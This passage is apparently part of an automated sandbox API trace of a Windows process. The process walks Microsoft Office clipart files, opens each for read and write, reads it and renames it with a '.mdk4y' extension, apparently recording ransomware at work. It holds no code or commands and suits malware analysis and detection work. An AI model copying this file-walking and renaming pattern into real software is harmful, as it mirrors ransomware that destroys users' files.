office\\clipart\\pub60cor\\an00790_.wmf.mdk4y")) returned 1 [0128.745] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.745] AreFileApisANSI () returned 1 [0128.745] GetACP () returned 0x4e4 [0128.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00853_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00853_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820397500000) returned 1 [0128.745] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5062, lpOverlapped=0x0) returned 1 [0128.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820406200000) returned 1 [0128.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820406200000) returned 1 [0128.833] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.mdk4y")) returned 1 [0128.833] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.833] AreFileApisANSI () returned 1 [0128.833] GetACP () returned 0x4e4 [0128.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00914_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00914_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.834] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820406400000) returned 1 [0128.834] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a50, lpOverlapped=0x0) returned 1 [0128.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820407800000) returned 1 [0128.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820407800000) returned 1 [0128.849] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.mdk4y")) returned 1 [0128.849] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.849] AreFileApisANSI () returned 1 [0128.849] GetACP () returned 0x4e4 [0128.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00932_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00932_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.849] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820408000000) returned 1 [0128.850] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x385c, lpOverlapped=0x0) returned 1 [0128.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820409400000) returned 1 [0128.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820409400000) returned 1 [0128.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.mdk4y")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.865] AreFileApisANSI () returned 1 [0128.865] GetACP () returned 0x4e4 [0128.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00965_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00965_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820409500000) returned 1 [0128.866] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ba0, lpOverlapped=0x0) returned 1 [0128.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820410300000) returned 1 [0128.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820410300000) returned 1 [0128.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.mdk4y")) returned 1 [0128.873] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.873] AreFileApisANSI () returned 1 [0128.873] GetACP () returned 0x4e4 [0128.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01039_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01039_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820410400000) returned 1 [0128.874] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd10, lpOverlapped=0x0) returned 1 [0128.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820411100000) returned 1 [0128.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820411100000) returned 1 [0128.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.mdk4y")) returned 1 [0128.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.882] AreFileApisANSI () returned 1 [0128.882] GetACP () returned 0x4e4 [0128.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01044_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01044_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820411200000) returned 1 [0128.882] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x63c, lpOverlapped=0x0) returned 1 [0128.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820413900000) returned 1 [0128.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820413900000) returned 1 [0128.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.mdk4y")) returned 1 [0128.910] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.910] AreFileApisANSI () returned 1 [0128.910] GetACP () returned 0x4e4 [0128.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01060_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01060_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.910] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820415300000) returned 1 [0128.923] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f20, lpOverlapped=0x0) returned 1 [0128.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820419900000) returned 1 [0128.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820419900000) returned 1 [0128.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.mdk4y")) returned 1 [0128.971] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.971] AreFileApisANSI () returned 1 [0128.971] GetACP () returned 0x4e4 [0128.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01084_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01084_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820420100000) returned 1 [0128.971] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x728, lpOverlapped=0x0) returned 1 [0128.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820422000000) returned 1 [0128.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820422000000) returned 1 [0128.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.mdk4y")) returned 1 [0128.991] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.991] AreFileApisANSI () returned 1 [0128.991] GetACP () returned 0x4e4 [0128.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01173_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01173_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.991] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820422100000) returned 1 [0128.991] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x66dc, lpOverlapped=0x0) returned 1 [0129.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820423600000) returned 1 [0129.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820423600000) returned 1 [0129.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.mdk4y")) returned 1 [0129.007] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.007] AreFileApisANSI () returned 1 [0129.007] GetACP () returned 0x4e4 [0129.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01174_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01174_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.007] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820423800000) returned 1 [0129.008] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6cd2, lpOverlapped=0x0) returned 1 [0129.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820423900000) returned 1 [0129.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820423900000) returned 1 [0129.011] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.mdk4y")) returned 1 [0129.011] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.011] AreFileApisANSI () returned 1 [0129.011] GetACP () returned 0x4e4 [0129.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01184_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01184_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.011] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820424200000) returned 1 [0129.012] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xea2, lpOverlapped=0x0) returned 1 [0129.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820428000000) returned 1 [0129.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820428000000) returned 1 [0129.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.mdk4y")) returned 1 [0129.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.051] AreFileApisANSI () returned 1 [0129.051] GetACP () returned 0x4e4 [0129.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01216_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01216_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820428200000) returned 1 [0129.052] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16cc, lpOverlapped=0x0) returned 1 [0129.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820429700000) returned 1 [0129.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820429700000) returned 1 [0129.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.mdk4y")) returned 1 [0129.068] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.068] AreFileApisANSI () returned 1 [0129.068] GetACP () returned 0x4e4 [0129.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01218_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01218_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.068] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820429900000) returned 1 [0129.069] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbc4, lpOverlapped=0x0) returned 1 [0129.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820431500000) returned 1 [0129.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820431500000) returned 1 [0129.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.mdk4y")) returned 1 [0129.086] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.086] AreFileApisANSI () returned 1 [0129.086] GetACP () returned 0x4e4 [0129.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01251_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN01251_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.086] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820431600000) returned 1 [0129.086] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xac4, lpOverlapped=0x0) returned 1 [0129.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820431700000) returned 1 [0129.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820431700000) returned 1 [0129.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.mdk4y")) returned 1 [0129.088] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.088] AreFileApisANSI () returned 1 [0129.088] GetACP () returned 0x4e4 [0129.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN01545_.WMF", cchWideChar=12, 